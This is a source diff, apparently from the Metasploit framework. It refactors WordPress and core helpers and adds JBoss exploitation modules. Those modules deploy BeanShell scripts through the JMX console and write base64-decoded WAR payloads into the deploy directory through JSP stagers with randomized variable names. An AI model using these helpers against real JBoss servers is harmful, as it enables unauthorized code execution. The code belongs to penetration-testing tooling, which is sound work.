a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -133,7 +133,7 @@ class SessionManager < Hash # framework instance. # ::ActiveRecord::Base.connection_pool.with_connection do |conn| - ::Mdm::Session.find_all_by_closed_at(nil).each do |db_session| + ::Mdm::Session.where(closed_at: nil).each do |db_session| if db_session.last_seen.nil? or ((Time.now.utc - db_session.last_seen) > (2*LAST_SEEN_INTERVAL)) db_session.closed_at = db_session.last_seen || Time.now.utc db_session.close_reason = "Orphaned" diff --git a/lib/msf/core/site_reference.rb b/lib/msf/core/site_reference.rb new file mode 100644 index 0000000000..b215391028 --- /dev/null +++ b/lib/msf/core/site_reference.rb @@ -0,0 +1 @@ +Msf::SiteReference = Msf::Module::SiteReference diff --git a/lib/msf/core/target.rb b/lib/msf/core/target.rb new file mode 100644 index 0000000000..a515dda6fc --- /dev/null +++ b/lib/msf/core/target.rb @@ -0,0 +1 @@ +Msf::Target = Msf::Module::Target diff --git a/lib/msf/core/task_manager.rb b/lib/msf/core/task_manager.rb deleted file mode 100644 index 54f6399608..0000000000 --- a/lib/msf/core/task_manager.rb +++ /dev/null @@ -1,238 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# This class provides a task manager -# -### - -class TaskManager - - class Task - attr_accessor :timeout - attr_accessor :created - attr_accessor :completed - attr_accessor :status - attr_accessor :proc - attr_accessor :source - attr_accessor :exception - - # - # Create a new task - # - def initialize(proc,timeout=nil) - self.proc = proc - self.status = :new - self.created = Time.now - self.timeout = timeout - self.source = caller - end - - # - # Task duration in seconds (float) - # - def duration - etime = self.completed || Time.now - etime.to_f - self.created.to_f - end - - def wait - while self.status == :new - ::IO.select(nil,nil,nil,0.10) - end - return self.status - end - - # - # Run the associated proc - # - def run(*args) - self.proc.call(*args) if self.proc - end - - end - - - attr_accessor :processing - attr_accessor :queue - attr_accessor :thread - attr_accessor :framework - - # - # Create a new TaskManager - # - def initialize(framework) - self.framework = framework - self.flush - end - - # - # Add a new task via proc - # - def queue_proc(proc) - task = Task.new(proc) - queue_task(task) - return task - end - - # - # Add a new task to the queue unless we are called - # by the queue thread itself. - # - def queue_task(task) - if Thread.current[:task_manager] - process_task(task) - else - self.queue.push(task) - end - end - - # - # Flush the queue - # - def flush - self.queue = [] - end - - # - # Stop processing events - # - def stop - return if not self.thread - self.processing = false - self.thread.join - self.thread = nil - end - - # - # Forcefully kill the processing thread - # - def kill - return if not self.thread - self.processing = false - self.thread.kill - self.thread = nil - end - - # - # Start processing tasks - # - def start - return if self.thread - self.processing = true - self.thread = framework.threads.spawn("TaskManager", true) do - begin - process_tasks - rescue ::Exception => e - elog("taskmanager: process_tasks exception: #{e.class} #{e} #{e.backtrace}") - retry - end - end - - # Mark this thread as the task manager - self.thread[:task_manager] = true - - # Return the thread object to the caller - self.thread - end - - # - # Restart the task processor - # - def restart - stop - start - end - - # - # Retrieve the number of tasks in the queue - # - def backlog - self.queue.length - end - - # - # Process the actual queue - # - def process_tasks - spin = 50 - ltask = nil - - while(self.processing) - cnt = 0 - while(task = self.queue.shift) - stime = Time.now.to_f - ret = process_task(task) - etime = Time.now.to_f - - case ret - when :requeue - self.queue.push(task) - when :drop, :done - # Processed or dropped - end - cnt += 1 - - ltask = task - end - - spin = (cnt == 0) ? (spin + 1) : 0 - - if spin > 10 - ::IO.select(nil, nil, nil, 0.25) - end - - end - self.thread = nil - end - - # - # Process a specific task from the queue - # - def process_task(task) - begin - if(task.timeout) - ::Timeout.timeout(task.timeout) do - task.run(self, task) - end - else - task.run(self, task) - end - rescue ::ThreadError - # Ignore these (caused by a return inside of the proc) - rescue ::Exception => e - - if(e.class == ::Timeout::Error) - elog("taskmanager: task #{task.inspect} timed out after #{task.timeout} seconds") - task.status = :timeout - task.completed = Time.now - return :drop - end - - elog("taskmanager: task triggered an exception: #{e.class} #{e}") - elog("taskmanager: task proc: #{task.proc.inspect} ") - elog("taskmanager: task Call stack: \n#{task.source.join("\n")} ") - dlog("Call stack:\n#{$@.join("\n")}") - - task.status = :dropped - task.exception = e - return :drop - - end - task.status = :done - task.completed = Time.now - return :done - end - - def log_error(msg) - elog(msg, 'core') - end - - def log_debug(msg) - dlog(msg, 'core') - end - -end -end - diff --git a/lib/msf/core/thread_manager.rb b/lib/msf/core/thread_manager.rb index 2dd6f2b353..abf2aa5c48 100644 --- a/lib/msf/core/thread_manager.rb +++ b/lib/msf/core/thread_manager.rb @@ -99,7 +99,12 @@ class ThreadManager < Array begin argv.shift.call(*argv) rescue ::Exception => e - elog("thread exception: #{::Thread.current[:tm_name]} critical=#{::Thread.current[:tm_crit]} error:#{e.class} #{e} source:#{::Thread.current[:tm_call].inspect}") + elog( + "thread exception: #{::Thread.current[:tm_name]} critical=#{::Thread.current[:tm_crit]} " \ + "error: #{e.class} #{e}\n" \ + " source:\n" \ + " #{::Thread.current[:tm_call].join "\n "}" + ) elog("Call Stack\n#{e.backtrace.join("\n")}") raise e ensure diff --git a/lib/msf/http/jboss.rb b/lib/msf/http/jboss.rb new file mode 100644 index 0000000000..0f9feb2bfb --- /dev/null +++ b/lib/msf/http/jboss.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- + +# This module provides a way of interacting with JBoss installations +module Msf + module HTTP + module JBoss + require 'msf/http/jboss/base' + require 'msf/http/jboss/bean_shell' + require 'msf/http/jboss/bean_shell_scripts' + require 'msf/http/jboss/deployment_file_repository' + require 'msf/http/jboss/deployment_file_repository_scripts' + + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::JBoss::Base + include Msf::HTTP::JBoss::BeanShell + include Msf::HTTP::JBoss::BeanShellScripts + include Msf::HTTP::JBoss::DeploymentFileRepository + include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts + + def initialize(info = {}) + super + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the JMX console', '/jmx-console']), + OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]), + OptString.new('PACKAGE', [false, 'The package containing the BSHDeployer service']) + ], self.class) + end + + end + end +end diff --git a/lib/msf/http/jboss/base.rb b/lib/msf/http/jboss/base.rb new file mode 100644 index 0000000000..db156e31db --- /dev/null +++ b/lib/msf/http/jboss/base.rb @@ -0,0 +1,141 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::Base + + # Deploys a WAR through HTTP uri invoke + # + # @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options + # @param num_attempts [Integer] The number of attempts + # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise + def deploy(opts = {}, num_attempts = 5) + uri = opts['uri'] + + if uri.blank? + return nil + end + + # JBoss might need some time for the deployment. Try 5 times at most and + # wait 5 seconds inbetween tries + num_attempts.times do |attempt| + res = send_request_cgi(opts, 5) + msg = nil + if res.nil? + msg = "Execution failed on #{uri} [No Response]" + elsif res.code == 200 + vprint_status("Successfully called '#{uri}'") + return res + else + msg = "http request failed to #{uri} [#{res.code}]" + end + + if attempt < num_attempts - 1 + msg << ", retrying in 5 seconds..." + vprint_status(msg) + Rex.sleep(5) + else + print_error(msg) + return res + end + end + end + + # Provides the HTTP verb used + # + # @return [String] The HTTP verb in use + def http_verb + datastore['VERB'] + end + + + # Try to auto detect the target architecture and platform + # + # @param [Array] The available targets + # @return [Msf::Module::Target, nil] The detected target or nil + def auto_target(available_targets) + if http_verb == 'HEAD' + print_status("Sorry, automatic target detection doesn't work with HEAD requests") + else + print_status("Attempting to automatically select a target...") + res = query_serverinfo + plat = detect_platform(res) + unless plat + print_warning('Unable to detect platform!') + return nil + end + + arch = detect_architecture(res) + unless arch + print_warning('Unable to detect architecture!') + return nil + end + + # see if we have a match + available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch } + end + + # no matching target found, use Java as fallback + java_targets = available_targets.select {|t| t.name =~ /^Java/ } + + java_targets[0] + end + + # Query the server information from HtmlAdaptor + # + # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil + def query_serverinfo + path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor') + res = send_request_cgi( + { + 'uri' => path, + 'method' => http_verb, + 'vars_get' => + { + 'action' => 'inspectMBean', + 'name' => 'jboss.system:type=ServerInfo' + } + }) + + unless res && res.code == 200 + print_error("Failed: Error requesting #{path}") + return nil + end + + res + end + + # Try to autodetect the target platform + # + # @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from + # @return [String, nil] The target platform or nil + def detect_platform(res) + if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m + os = $1 + if (os =~ /Linux/i) + return 'linux' + elsif (os =~ /FreeBSD/i) + return 'linux' + elsif (os =~ /Windows/i) + return 'win' + end + end + + nil + end + + # Try to autodetect the target architecture + # + # @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from + # @return [String, nil] The target architecture or nil + def detect_architecture(res) + if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m + arch = $1 + if arch =~ /(x86|i386|i686)/i + return ARCH_X86 + elsif arch =~ /(x86_64|amd64)/i + return ARCH_X86 + end + end + + nil + end +end diff --git a/lib/msf/http/jboss/bean_shell.rb b/lib/msf/http/jboss/bean_shell.rb new file mode 100644 index 0000000000..b7c3a2b3cc --- /dev/null +++ b/lib/msf/http/jboss/bean_shell.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::BeanShell + + DEFAULT_PACKAGES = %w{ deployer scripts } + + # Deploys a Bean Shell script with a set of JBOSS default packages + # + # @param bsh_script [String] The Bean Shell script to deploy + # @return [String, nil] The package name used to deploy the script, nil otherwise + def deploy_bsh(bsh_script) + package = nil + + if datastore['PACKAGE'].blank? + packages = DEFAULT_PACKAGES + else + packages = [ datastore['PACKAGE'] ] + end + + packages.each do |p| + if deploy_package(bsh_script, p) + return p + end + end + + package + end + + # Deploys a Bean Shell script using the specified package + # + # @param bsh_script [String] The Bean Shell script to deploy + # @param package [String] The package used to deploy the script + # @return [Boolean] `true` if the script gets deployed, `false` otherwise + def deploy_package(bsh_script, package) + success = false + + print_status("Attempting to use '#{package}' as package") + res = invoke_bsh_script(bsh_script, package) + + if res.nil? + print_error("Unable to deploy WAR [No Response]") + elsif res.code < 200 || res.code >= 300 + case res.code + when 401 + print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") + else + print_error("Unable to deploy BSH script [#{res.code} #{res.message}]") + end + else + success = true + end + + success + end + + # Invokes a Bean Shell script on the JBoss via BSHDeployer + # + # @param bsh_script [String] A Bean Shell script + # @param package [String] The package used to deploy the script + # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout + def invoke_bsh_script(bsh_script, package) + params = { } + params.compare_by_identity + params['action'] = 'invokeOpByName' + params['name'] = "jboss.#{package}:service=BSHDeployer" + params['methodName'] = 'createScriptDeployment' + params['argType'] = 'java.lang.String' + params['arg0'] = bsh_script + params['argType'] = 'java.lang.String' + params['arg1'] = Rex::Text.rand_text_alphanumeric(8+rand(8)) + '.bsh' + + opts = { + 'method' => http_verb, + 'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor') + } + + if http_verb == 'POST' + opts.merge!('vars_post' => params) + else + opts.merge!('vars_get' => params) + end + + send_request_cgi(opts) + end + +end diff --git a/lib/msf/http/jboss/bean_shell_scripts.rb b/lib/msf/http/jboss/bean_shell_scripts.rb new file mode 100644 index 0000000000..418120beaf --- /dev/null +++ b/lib/msf/http/jboss/bean_shell_scripts.rb @@ -0,0 +1,105 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::BeanShellScripts + + # Generates a Bean Shell Script. + # + # @param type [Symbol] The Bean Shell script type, `:create` or `:delete`. + # @param opts [Hash] Hash of configuration options. + # @return [String] A Bean Shell script. + def generate_bsh(type, opts ={}) + bean_shell = nil + case type + when :create + bean_shell = create_file_bsh(opts) + when :delete + bean_shell = delete_files_bsh(opts) + end + + bean_shell + end + + # Generate a stager JSP to write a WAR file to the deploy/ directory. + # This is used to bypass the size limit for GET/HEAD requests. + # + # @param app_base [String] The name of the WAR app to write. + # @return [String] The JSP stager. + def stager_jsp(app_base) + decoded_var = Rex::Text.rand_text_alpha(8+rand(8)) + file_path_var = Rex::Text.rand_text_alpha(8+rand(8)) + jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8)) + fos_var = Rex::Text.rand_text_alpha(8+rand(8)) + content_var = Rex::Text.rand_text_alpha(8+rand(8)) + + stager_jsp = <<-EOT +<%@page import="java.io.*, + java.util.*, + sun.misc.BASE64Decoder" +%> +<% + String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); + String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war"; + try { + String #{content_var} = ""; + String parameterName = (String)(request.getParameterNames().nextElement()); + #{content_var} = request.getParameter(parameterName); + FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); + byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); + #{fos_var}.write(#{decoded_var}); + #{fos_var}.close(); + } + catch(Exception e){ } +%> + EOT + + stager_jsp + end + + # Generate a Bean Shell script which creates files inside the JBOSS's deploy + # directory. + # + # @param opts [Hash] Hash containing the options to create the Bean Shell + # Script. + # @option opts :dir [Symbol] The dir where place the file. + # @option opts :file [Symbol] The file path. + # @option opts :contents [Symbol] The file contents. + # @return [String] A Bean Shell script to create the file. + def create_file_bsh(opts = {}) + dir = opts[:dir] + file = opts[:file] + contents = opts[:contents] + + payload_bsh_script = <<-EOT +import java.io.FileOutputStream; +import sun.misc.BASE64Decoder; + +String val = "#{contents}"; + +BASE64Decoder decoder = new BASE64Decoder(); +String jboss_home = System.getProperty("jboss.server.home.dir"); +new File(jboss_home + "/deploy/#{dir}").mkdir(); +byte[] byteval = decoder.decodeBuffer(val); +String location = jboss_home + "/deploy/#{file}"; +FileOutputStream fstream = new FileOutputStream(location); +fstream.write(byteval); +fstream.close(); + EOT + + payload_bsh_script + end + + # Generate a Bean Shell script to delete files from the JBoss's /deploy + # directory. + # + # @param opts [Hash] Hash containing the files to delete, the values are + # the files paths. + # @return [String] A Bean Shell script to delete files. + def delete_files_bsh(opts = {}) + script = "String jboss_home = System.getProperty(\"jboss.server.home.dir\");\n" + opts.values.each do |v| + script << "new File(jboss_home + \"/deploy/#{v}\").delete();\n" + end + + script + end +end diff --git a/lib/msf/http/jboss/deployment_file_repository.rb b/lib/msf/http/jboss/deployment_file_repository.rb new file mode 100644 index 0000000000..8241e22f0b --- /dev/null +++ b/lib/msf/http/jboss/deployment_file_repository.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::DeploymentFileRepository + + # Upload a text file with DeploymentFileRepository.store() + # + # @param base_name [String] The destination base name + # @param jsp_name [String] The destanation file name + # @param content [String] The content of the file + # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout + def upload_file(base_name, jsp_name, content) + params = { } + params.compare_by_identity + params['action'] = 'invokeOpByName' + params['name'] = 'jboss.admin:service=DeploymentFileRepository' + params['methodName'] = 'store' + params['argType'] = 'java.lang.String' + params['arg0'] = base_name + '.war' + params['argType'] = 'java.lang.String' + params['arg1'] = jsp_name + params['argType'] = 'java.lang.String' + params['arg2'] = '.jsp' + params['argType'] = 'java.lang.String' + params['arg3'] = content + params['argType'] = 'boolean' + params['arg4'] = 'True' + + opts = { + 'method' => http_verb, + 'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor') + } + + if http_verb == 'POST' + opts.merge!('vars_post' => params) + else + opts.merge!('vars_get' => params) + end + + send_request_cgi(opts) + end + + # Delete a file with DeploymentFileRepository.remove(). + # + # @param folder [String] The destination folder name + # @param name [String] The destination file name + # @param ext [String] The destination file extension + # @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout + def delete_file(folder, name, ext) + params = { } + params.compare_by_identity + params['action'] = 'invokeOpByName' + params['name'] = 'jboss.admin:service=DeploymentFileRepository' + params['methodName'] = 'remove' + params['argType'] = 'java.lang.String' + params['arg0'] = folder + params['argType'] = 'java.lang.String' + params['arg1'] = name + params['argType'] = 'java.lang.String' + params['arg2'] = ext + + opts = { + 'method' => http_verb, + 'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor') + } + + if http_verb == 'POST' + opts.merge!('vars_post' => params) + timeout = 5 + else + opts.merge!('vars_get' => params) + timeout = 30 + end + send_request_cgi(opts, timeout) + end + +end diff --git a/lib/msf/http/jboss/deployment_file_repository_scripts.rb b/lib/msf/http/jboss/deployment_file_repository_scripts.rb new file mode 100644 index 0000000000..cd9b89afc6 --- /dev/null +++ b/lib/msf/http/jboss/deployment_file_repository_scripts.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts + + # Generate a stager JSP to write the second stager to the + # deploy/management directory. It is only used with HEAD/GET requests + # to overcome the size limit in those requests + # + # @param stager_base [String] The name of the base of the stager. + # @param stager_jsp [String] The name name of the jsp stager. + # @return [String] The JSP head stager. + def head_stager_jsp(stager_base, stager_jsp_name) + content_var = Rex::Text.rand_text_alpha(8+rand(8)) + file_path_var = Rex::Text.rand_text_alpha(8+rand(8)) + jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8)) + fos_var = Rex::Text.rand_text_alpha(8+rand(8)) + bw_var = Rex::Text.rand_text_alpha(8+rand(8)) + head_stager_jsp_code = <<-EOT +<%@page import="java.io.*, + java.util.*" +%> +<% + String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); + String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp"; + try { + String #{content_var} = ""; + String parameterName = (String)(request.getParameterNames().nextElement()); + #{content_var} = request.getParameter(parameterName); + FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true); + BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var}); + #{bw_var}.write(#{content_var}); + #{bw_var}.close(); + } + catch(Exception e) { } +%> + EOT + head_stager_jsp_code + end + + # Generate a stager JSP to write a WAR file to the deploy/ directory. + # This is used to bypass the size limit for GET/HEAD requests. + # + # @param app_base [String] The name of the WAR app to write. + # @return [String] The JSP stager. + def stager_jsp_with_payload(app_base, encoded_payload) + decoded_var = Rex::Text.rand_text_alpha(8+rand(8)) + file_path_var = Rex::Text.rand_text_alpha(8+rand(8)) + jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8)) + fos_var = Rex::Text.rand_text_alpha(8+rand(8)) + content_var = Rex::Text.rand_text_alpha(8+rand(8)) + + stager_jsp = <<-EOT +<%@page import="java.io.*, + java.util.*, + sun.misc.BASE64Decoder" +%> +<% + String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); + String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war"; + try { + String #{content_var} = "#{encoded_payload}"; + FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); + byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); + #{fos_var}.write(#{decoded_var}); + #{fos_var}.close(); + } + catch(Exception e){ } +%> + EOT + + stager_jsp + end + + + +end diff --git a/lib/msf/http/typo3/login.rb b/lib/msf/http/typo3/login.rb index c255942863..d34a91d440 100644 --- a/lib/msf/http/typo3/login.rb +++ b/lib/msf/http/typo3/login.rb @@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login return nil end - e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1] - n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1] + e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/) + if e_match.nil? + vprint_error('Can not find rsa_e value') + return nil + end + e = e_match[1] + + n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/) + if n_match.nil? + vprint_error('Can not find rsa_n value') + return nil + end + n = n_match[1] + vprint_debug("e: #{e}") vprint_debug("n: #{n}") rsa_enc = typo3_helper_login_rsa(e, n, pass) diff --git a/lib/msf/http/wordpress.rb b/lib/msf/http/wordpress.rb index d5cae88203..31c5359213 100644 --- a/lib/msf/http/wordpress.rb +++ b/lib/msf/http/wordpress.rb @@ -11,6 +11,7 @@ module Msf require 'msf/http/wordpress/uris' require 'msf/http/wordpress/users' require 'msf/http/wordpress/version' + require 'msf/http/wordpress/xml_rpc' include Msf::Exploit::Remote::HttpClient include Msf::HTTP::Wordpress::Base @@ -20,15 +21,26 @@ module Msf include Msf::HTTP::Wordpress::URIs include Msf::HTTP::Wordpress::Users include Msf::HTTP::Wordpress::Version + include Msf::HTTP::Wordpress::XmlRpc def initialize(info = {}) super register_options( - [ - Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']), - ], HTTP::Wordpress + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']) + ], HTTP::Wordpress ) + + register_advanced_options( + [ + Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']) + ], HTTP::Wordpress + ) + end + + def wp_content_dir + datastore['WPCONTENTDIR'] end end end diff --git a/lib/msf/http/wordpress/base.rb b/lib/msf/http/wordpress/base.rb index 48cca67576..e67f46a40c 100644 --- a/lib/msf/http/wordpress/base.rb +++ b/lib/msf/http/wordpress/base.rb @@ -1,28 +1,33 @@ # -*- coding: binary -*- module Msf::HTTP::Wordpress::Base - # Checks if the site is online and running wordpress # # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise def wordpress_and_online? - begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path) - }) - return res if res and - res.code == 200 and - ( - res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or - res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or - res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i - ) - return nil - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Error connecting to #{target_uri}") - return nil - end - end + wordpress_detect_regexes = [ + /["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i, + /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i, + /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i + ] + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + # handle one redirect + if res && res.redirect? && res.redirection + res = send_request_cgi( + 'method' => 'GET', + 'uri' => path_from_uri(res.redirection) + ) + end + + return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r } + return nil + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + print_error("#{peer} - Error connecting to #{target_uri}: #{e}") + return nil + end end diff --git a/lib/msf/http/wordpress/helpers.rb b/lib/msf/http/wordpress/helpers.rb index 355dce5c85..837688dab0 100644 --- a/lib/msf/http/wordpress/helpers.rb +++ b/lib/msf/http/wordpress/helpers.rb @@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers options.merge!({'vars_post' => vars_post}) options.merge!({'cookie' => login_cookie}) if login_cookie res = send_request_cgi(options) - if res and (res.code == 301 or res.code == 302) and res.headers['Location'] + if res && res.redirect? && res.redirection return wordpress_helper_parse_location_header(res) else message = "#{peer} - Post comment failed." @@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers else return res.body end - elsif res and (res.code == 301 or res.code == 302) and res.headers['Location'] + elsif res && res.redirect? && res.redirection path = wordpress_helper_parse_location_header(res) return wordpress_helper_check_post_id(path, comments_enabled, login_cookie) end @@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers # @param res [Rex::Proto::Http::Response] The HTTP response # @return [String,nil] the path and query, nil on error def wordpress_helper_parse_location_header(res) - return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location'] + return nil unless res && res.redirect? && res.redirection - location = res.headers['Location'] + location = res.redirection path_from_uri(location) end diff --git a/lib/msf/http/wordpress/login.rb b/lib/msf/http/wordpress/login.rb index c0219163bb..3ef87f4710 100644 --- a/lib/msf/http/wordpress/login.rb +++ b/lib/msf/http/wordpress/login.rb @@ -1,37 +1,31 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Login +module Msf::HTTP::Wordpress::Login # performs a wordpress login # # @param user [String] Username # @param pass [String] Password + # @param timeout [Integer] The maximum number of seconds to wait before the request times out # @return [String,nil] the session cookies as a single string on successful login, nil otherwise - def wordpress_login(user, pass) + def wordpress_login(user, pass, timeout = 20) redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}" res = send_request_cgi({ 'method' => 'POST', 'uri' => wordpress_url_login, 'vars_post' => wordpress_helper_login_post_data(user, pass, redirect) - }) - - if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect - match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i) - # return wordpress login cookie - return match[0] if match - - # support for older wordpress versions - # Wordpress 2.0 - match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i) - match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i) - # return wordpress login cookie - return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass) - - # Wordpress 2.5 - match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i) - # return wordpress login cookie - return match_2_5[0] if match_2_5 + }, timeout) + if res && res.redirect? && res.redirection && res.redirection.to_s == redirect + cookies = res.get_cookies + # Check if a valid wordpress cookie is returned + return cookies if + # current Wordpress + cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i || + # Wordpress 2.0 + cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i || + # Wordpress 2.5 + cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i end - return nil - end + nil + end end diff --git a/lib/msf/http/wordpress/posts.rb b/lib/msf/http/wordpress/posts.rb index 171ff6ce18..d343e8accf 100644 --- a/lib/msf/http/wordpress/posts.rb +++ b/lib/msf/http/wordpress/posts.rb @@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts count = max_redirects # Follow redirects - while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0 + while res.redirect? && res.redirection && count != 0 path = wordpress_helper_parse_location_header(res) return nil unless path diff --git a/lib/msf/http/wordpress/uris.rb b/lib/msf/http/wordpress/uris.rb index 19fd567fc4..cad39afb50 100644 --- a/lib/msf/http/wordpress/uris.rb +++ b/lib/msf/http/wordpress/uris.rb @@ -66,4 +66,54 @@ module Msf::HTTP::Wordpress::URIs normalize_uri(target_uri.path, 'wp-links-opml.php') end + # Returns the Wordpress Backend URL + # + # @return [String] Wordpress Backend URL + def wordpress_url_backend + normalize_uri(target_uri.path, 'wp-admin/') + end + + # Returns the Wordpress Admin Ajax URL + # + # @return [String] Wordpress Admin Ajax URL + def wordpress_url_admin_ajax + normalize_uri(wordpress_url_backend, 'admin-ajax.php') + end + + # Returns the Wordpress Admin Posts URL + # + # @return [String] Wordpress Admin Post URL + def wordpress_url_admin_post + normalize_uri(wordpress_url_backend, 'admin-post.php') + end + + + # Returns the Wordpress wp-content dir URL + # + # @return [String] Wordpress wp-content dir URL + def wordpress_url_wp_content + normalize_uri(target_uri.path, wp_content_dir) + end + + # Returns the Wordpress plugins dir URL + # + # @return [String] Wordpress plugins dir URL + def wordpress_url_plugins + normalize_uri(wordpress_url_wp_content, 'plugins') + end + + # Returns the Wordpress themes dir URL + # + # @return [String] Wordpress themes dir URL + def wordpress_url_themes + normalize_uri(wordpress_url_wp_content, 'themes') + end + + # Returns the Wordpress XMLRPC URL + # + # @return [String] Wordpress XMLRPC URL + def wordpress_url_xmlrpc + normalize_uri(target_uri.path, 'xmlrpc.php') + end + end diff --git a/lib/msf/http/wordpress/users.rb b/lib/msf/http/wordpress/users.rb index d696d9f9f8..150b48491b 100644 --- a/lib/msf/http/wordpress/users.rb +++ b/lib/msf/http/wordpress/users.rb @@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users 'uri' => url }) - if res and res.code == 301 + if res and res.redirect? uri = wordpress_helper_parse_location_header(res) return nil unless uri # try to extract username from location diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index 0330d65fa3..eca72a9974 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -2,63 +2,124 @@ module Msf::HTTP::Wordpress::Version + # Used to check if the version is correct: must contain at least one dot + WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)' + # Extracts the Wordpress version information from various sources # # @return [String,nil] Wordpress version if found, nil otherwise def wordpress_version # detect version from generator - version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i) + version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i) return version if version # detect version from readme - version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i) + version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i) 